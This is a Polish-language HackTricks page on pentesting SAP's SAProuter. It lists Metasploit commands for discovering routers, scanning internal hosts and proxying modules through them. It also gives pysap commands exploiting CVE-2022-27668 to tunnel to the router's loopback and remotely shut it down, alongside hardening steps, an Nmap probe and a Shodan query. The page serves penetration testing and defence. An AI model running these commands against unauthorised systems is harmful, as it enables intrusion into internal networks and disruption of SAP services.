mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
132 lines
7.5 KiB
Markdown
132 lines
7.5 KiB
Markdown
# # 3299/tcp - Pentesting SAProuter
|
||
|
||
{{#include ../banners/hacktricks-training.md}}
|
||
```text
|
||
PORT STATE SERVICE VERSION
|
||
3299/tcp open saprouter?
|
||
```
|
||
To jest podsumowanie posta z [https://blog.rapid7.com/2014/01/09/piercing-saprouter-with-metasploit/](https://blog.rapid7.com/2014/01/09/piercing-saprouter-with-metasploit/)
|
||
|
||
## Zrozumienie penetracji SAProuter z Metasploit
|
||
|
||
SAProuter działa jako odwrotny proxy dla systemów SAP, głównie w celu kontrolowania dostępu między internetem a wewnętrznymi sieciami SAP. Jest często wystawiany na internet, pozwalając na dostęp do portu TCP 3299 przez zapory ogniowe organizacji. Taka konfiguracja sprawia, że SAProuter jest atrakcyjnym celem dla pentestingu, ponieważ może służyć jako brama do cennych wewnętrznych sieci.
|
||
|
||
**Skanowanie i zbieranie informacji**
|
||
|
||
Początkowo przeprowadza się skanowanie, aby zidentyfikować, czy na danym IP działa router SAP, używając modułu **sap_service_discovery**. Ten krok jest kluczowy dla ustalenia obecności routera SAP i jego otwartego portu.
|
||
```text
|
||
msf> use auxiliary/scanner/sap/sap_service_discovery
|
||
msf auxiliary(sap_service_discovery) > set RHOSTS 1.2.3.101
|
||
msf auxiliary(sap_service_discovery) > run
|
||
```
|
||
Po odkryciu przeprowadzono dalsze badania konfiguracji routera SAP za pomocą modułu **sap_router_info_request**, aby potencjalnie ujawnić szczegóły wewnętrznej sieci.
|
||
```text
|
||
msf auxiliary(sap_router_info_request) > use auxiliary/scanner/sap/sap_router_info_request
|
||
msf auxiliary(sap_router_info_request) > set RHOSTS 1.2.3.101
|
||
msf auxiliary(sap_router_info_request) > run
|
||
```
|
||
**Enumerowanie usług wewnętrznych**
|
||
|
||
Dzięki uzyskanym informacjom o wewnętrznej sieci, moduł **sap_router_portscanner** jest używany do badania wewnętrznych hostów i usług przez SAProuter, co pozwala na głębsze zrozumienie wewnętrznych sieci i konfiguracji usług.
|
||
```text
|
||
msf auxiliary(sap_router_portscanner) > set INSTANCES 00-50
|
||
msf auxiliary(sap_router_portscanner) > set PORTS 32NN
|
||
```
|
||
Elastyczność tego modułu w kierowaniu na konkretne instancje SAP i porty czyni go skutecznym narzędziem do szczegółowego badania wewnętrznej sieci.
|
||
|
||
**Zaawansowana enumeracja i mapowanie ACL**
|
||
|
||
Dalsze skanowanie może ujawnić, jak są skonfigurowane listy kontroli dostępu (ACL) na SAProuterze, szczegółowo opisując, które połączenia są dozwolone lub zablokowane. Informacje te są kluczowe dla zrozumienia polityki bezpieczeństwa i potencjalnych luk.
|
||
```text
|
||
msf auxiliary(sap_router_portscanner) > set MODE TCP
|
||
msf auxiliary(sap_router_portscanner) > set PORTS 80,32NN
|
||
```
|
||
**Ślepe enumerowanie wewnętrznych hostów**
|
||
|
||
W scenariuszach, w których bezpośrednie informacje z SAProutera są ograniczone, można zastosować techniki takie jak ślepe enumerowanie. Podejście to próbuje zgadnąć i zweryfikować istnienie wewnętrznych nazw hostów, ujawniając potencjalne cele bez bezpośrednich adresów IP.
|
||
|
||
**Wykorzystanie informacji do testów penetracyjnych**
|
||
|
||
Mając zmapowaną sieć i zidentyfikowane dostępne usługi, testerzy penetracyjni mogą wykorzystać możliwości proxy Metasploit do przejścia przez SAProuter w celu dalszego badania i eksploatacji wewnętrznych usług SAP.
|
||
```text
|
||
msf auxiliary(sap_hostctrl_getcomputersystem) > set Proxies sapni:1.2.3.101:3299
|
||
msf auxiliary(sap_hostctrl_getcomputersystem) > set RHOSTS 192.168.1.18
|
||
msf auxiliary(sap_hostctrl_getcomputersystem) > run
|
||
```
|
||
**Wnioski**
|
||
|
||
Podejście to podkreśla znaczenie bezpiecznych konfiguracji SAProuter i wskazuje na potencjał dostępu do wewnętrznych sieci poprzez ukierunkowane testy penetracyjne. Odpowiednie zabezpieczenie routerów SAP oraz zrozumienie ich roli w architekturze bezpieczeństwa sieci jest kluczowe dla ochrony przed nieautoryzowanym dostępem.
|
||
|
||
Aby uzyskać bardziej szczegółowe informacje na temat modułów Metasploit i ich zastosowania, odwiedź [bazę danych Rapid7](http://www.rapid7.com/db).
|
||
|
||
---
|
||
|
||
## Ostatnie luki (2022-2025)
|
||
|
||
### CVE-2022-27668 – Niewłaściwa kontrola dostępu ➜ Zdalne wykonanie polecenia administracyjnego
|
||
|
||
W czerwcu 2022 roku SAP opublikował Notatkę Bezpieczeństwa **3158375**, która dotyczy krytycznej luki (CVSS 9.8) w SAProuter (wszystkie jądra ≥ 7.22). Nieautoryzowany atakujący może wykorzystać zbyt liberalne wpisy `saprouttab`, aby **wysłać pakiety administracyjne** (np. *shutdown*, *trace-level*, *connection-kill*) z zdalnego hosta, nawet gdy router został uruchomiony bez opcji `-X` remote-admin.
|
||
|
||
Problem wynika z możliwości zbudowania tunelu do własnego interfejsu loopback routera, celując w nieokreślony adres **0.0.0.0**. Gdy tunel jest ustanowiony, atakujący zyskuje uprawnienia lokalnego hosta i może uruchomić dowolne polecenie administracyjne.
|
||
|
||
Praktyczne wykorzystanie można powtórzyć za pomocą frameworka **pysap**:
|
||
```bash
|
||
# 1. Build a loopback tunnel through the vulnerable SAProuter
|
||
python router_portfw.py -d <ROUTER_IP> -p 3299 \
|
||
-t 0.0.0.0 -r 3299 \
|
||
-a 127.0.0.1 -l 3299 -v
|
||
|
||
# 2. Send an admin packet (here: stop the remote router)
|
||
python router_admin.py -s -d 127.0.0.1 -p 3299
|
||
```
|
||
**Wersje dotknięte**
|
||
|
||
* Samodzielny SAProuter 7.22 / 7.53
|
||
* Kernel 7.49, 7.77, 7.81, 7.85–7.88 (w tym KRNL64NUC/UC)
|
||
|
||
**Poprawka / Łagodzenie**
|
||
|
||
1. Zastosuj łatkę dostarczoną z SAP Note **3158375**.
|
||
2. Usuń cele z dziką kartą (`*`) z linii `P` i `S` w `saprouttab`.
|
||
3. Upewnij się, że router jest uruchamiany **bez** opcji `-X` i **nie** jest bezpośrednio wystawiony na Internet.
|
||
|
||
---
|
||
|
||
## Zaktualizowane narzędzia i sztuczki
|
||
|
||
* **pysap** – aktywnie utrzymywane i dostarcza `router_portfw.py`, `router_admin.py` i `router_trace.py` do tworzenia niestandardowych pakietów NI/Router, fuzzowania ACL lub automatyzacji exploita CVE-2022-27668.
|
||
* **Nmap** – rozszerz wykrywanie usług, dodając niestandardowe sondy SAProuter:
|
||
|
||
```text
|
||
Probe TCP SAProuter q|\x00\x00\x00\x00|
|
||
ports 3299
|
||
match saprouter m|SAProuter ([\d.]+)| p/SAProuter/ v/$1/
|
||
```
|
||
|
||
Połącz z skryptami NSE lub `--script=banner`, aby szybko zidentyfikować wersje, które ujawniają ciąg banera (`SAProuter <ver> on '<host>'`).
|
||
* **Metasploit** – moduły pomocnicze pokazane powyżej nadal działają przez proxy SOCKS lub NI utworzone z pysap, umożliwiając pełną integrację z frameworkiem, nawet gdy router blokuje bezpośredni dostęp.
|
||
|
||
---
|
||
|
||
## Lista kontrolna wzmacniania i wykrywania
|
||
|
||
* Filtruj port **3299/TCP** na zaporze perymetralnej – zezwól na ruch tylko z zaufanych sieci wsparcia SAP.
|
||
* Utrzymuj SAProuter **w pełni załatany**; zweryfikuj za pomocą `saprouter -v` i porównaj z najnowszym poziomem łaty jądra.
|
||
* Używaj **ściśle określonych, specyficznych dla hosta** wpisów w `saprouttab`; unikaj dzikich kart `*` i odrzucaj reguły `P`/`S`, które celują w dowolne hosty lub porty.
|
||
* Uruchom usługę z **`-S <secudir>` + SNC**, aby wymusić szyfrowanie i wzajemną autoryzację.
|
||
* Wyłącz zdalną administrację (`-X`) i, jeśli to możliwe, powiąż nasłuchiwacz z `127.0.0.1`, używając zewnętrznego odwrotnego proxy dla wymaganego ruchu.
|
||
* Monitoruj log **dev_rout** w poszukiwaniu podejrzanych pakietów `ROUTER_ADM` lub nieoczekiwanych żądań `NI_ROUTE` do `0.0.0.0`.
|
||
|
||
---
|
||
|
||
## **Referencje**
|
||
|
||
- [https://www.rapid7.com/blog/post/2014/01/09/piercing-saprouter-with-metasploit/](https://www.rapid7.com/blog/post/2014/01/09/piercing-saprouter-with-metasploit/)
|
||
- [https://sec-consult.com/vulnerability-lab/advisory/improper-access-control-in-sap-saprouter/](https://sec-consult.com/vulnerability-lab/advisory/improper-access-control-in-sap-saprouter/)
|
||
|
||
## Shodan
|
||
|
||
- `port:3299 !HTTP Network packet too big`
|
||
|
||
{{#include ../banners/hacktricks-training.md}}
|